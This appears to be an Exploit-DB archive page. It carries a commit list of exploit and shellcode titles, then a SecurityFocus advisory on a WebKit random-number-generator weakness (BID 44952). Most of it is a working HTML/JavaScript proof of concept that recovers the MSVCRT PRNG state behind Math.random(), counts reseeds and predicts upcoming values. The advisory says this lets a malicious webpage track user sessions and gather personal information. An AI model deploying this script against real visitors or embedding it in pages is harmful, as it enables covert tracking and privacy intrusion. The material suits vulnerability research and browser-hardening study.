880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
142 lines
No EOL
4 KiB
HTML
142 lines
No EOL
4 KiB
HTML
source: https://www.securityfocus.com/bid/44952/info
|
|
|
|
WebKit is prone to a random-number-generator weakness.
|
|
|
|
Attackers can exploit this issue by enticing an unsuspecting user into visiting a malicious webpage.
|
|
|
|
Successful attacks will allow attackers to track user sessions and obtain personal information that can aid in further attacks.
|
|
|
|
NOTE: This issue was previously covered in BID 44938 (Apple Safari Prior to 5.0.3 and 4.1.3 Multiple Security Vulnerabilities) but has been given its own record to better document it.
|
|
|
|
<html>
|
|
<body>
|
|
<script>
|
|
document.write("Browser: "+navigator.userAgent);
|
|
</script>
|
|
<br>
|
|
<br>
|
|
<script>
|
|
interval=200;
|
|
iid=null;
|
|
function setint()
|
|
{
|
|
interval=document.getElementById('x').value;
|
|
clearInterval(iid);
|
|
iid=setInterval("recalc()",interval);
|
|
return;
|
|
}
|
|
</script>
|
|
<form>
|
|
Polling interval:<br>
|
|
Use low values (e.g. 200) for PRNG state mark demo and reseed
|
|
counting<br>
|
|
Use high values (e.g. 5000) for PRNG prediction demo<br>
|
|
<input type="text" id="x" value="200"><br>
|
|
<input type="button" value="Change" onClick="setint();">
|
|
</form>
|
|
Total MSVCRT PRNG invocations (since this page load):
|
|
<div id="total"></div><br>
|
|
MSVCRT PRNG invocations since last reseed:
|
|
<div id="current"></div><br>
|
|
MSVCRT PRNG reseed count (since this page load):
|
|
<div id="reseed"></div><br>
|
|
MSVCRT PRNG state mark:
|
|
<div id="mark"></div><br>
|
|
Current Math.random():
|
|
<div id="math_random"></div><br>
|
|
Calculated next Math.random() values:
|
|
<div id="next"></div><br>
|
|
<script>
|
|
var total_counter=0;
|
|
var current_counter=0;
|
|
var reseed_counter=0;
|
|
var state=0;
|
|
var mark=0;
|
|
function adv(x)
|
|
{
|
|
return (214013*x+2531011) & 0x7FFFFFFF;
|
|
}
|
|
function update_counters(reseed)
|
|
{
|
|
document.getElementById("total").innerText=total_counter;
|
|
document.getElementById("current").innerText=current_counter;
|
|
document.getElementById("reseed").innerText=reseed_counter;
|
|
document.getElementById("mark").innerText=mark;
|
|
m=Math.random();
|
|
state=adv(state);
|
|
state2=adv(state);
|
|
state2=adv(state2);
|
|
document.getElementById("math_random").innerText=m;
|
|
document.getElementById("next").innerText=
|
|
((((adv(state2)>>16)&0x7FFF)<<15)|((state2>>16)&0x7FFF))/(1<<30
|
|
);
|
|
state2=adv(state2);
|
|
state2=adv(state2);
|
|
document.getElementById("next").innerText+=" "+
|
|
((((adv(state2)>>16)&0x7FFF)<<15)|((state2>>16)&0x7FFF))/(1<<30
|
|
);
|
|
}
|
|
function find_mark(st)
|
|
{
|
|
for (;;)
|
|
{
|
|
if ((st & 0x3FF)==0)
|
|
{
|
|
return st>>10;
|
|
}
|
|
st=adv(st);
|
|
}
|
|
}
|
|
function recalc()
|
|
{
|
|
var rr=new Array();
|
|
rr[0]=Math.random()*Math.pow(2,30);
|
|
// Try to resync with the PRNG.
|
|
// Allow up to 1000 iterations from previous sync
|
|
for (k=0;k<1000;k++)
|
|
{
|
|
state=adv(state);
|
|
if ((((state>>16)&0x7FFF)==(rr[0]&0x7FFF)) &&
|
|
(((adv(state)>>16)&0x7FFF)==(rr[0]>>15)))
|
|
{
|
|
state=adv(state);
|
|
total_counter+=k;
|
|
current_counter+=k;
|
|
mark=find_mark(state);
|
|
update_counters(false);
|
|
return;
|
|
}
|
|
}
|
|
rr[1]=Math.random()*Math.pow(2,30);
|
|
var r=new Array();
|
|
for (i=0;i<2;i++)
|
|
{
|
|
r.push(rr[i] & 0x7FFF);
|
|
r.push(rr[i]>>15);
|
|
}
|
|
for (v=0;v<(1<<16);v++)
|
|
{
|
|
state=(r[0]<<16)|v;
|
|
for (j=1;j<4;j++)
|
|
{
|
|
state=adv(state);
|
|
if (((state>>16)&0x7FFF)!=r[j])
|
|
{
|
|
break;
|
|
}
|
|
}
|
|
if (j==4)
|
|
{
|
|
reseed_counter++;
|
|
current_counter=0;
|
|
mark=find_mark(state);
|
|
update_counters(true);
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
recalc();
|
|
setint();
|
|
</script>
|
|
</body>
|
|
</html> |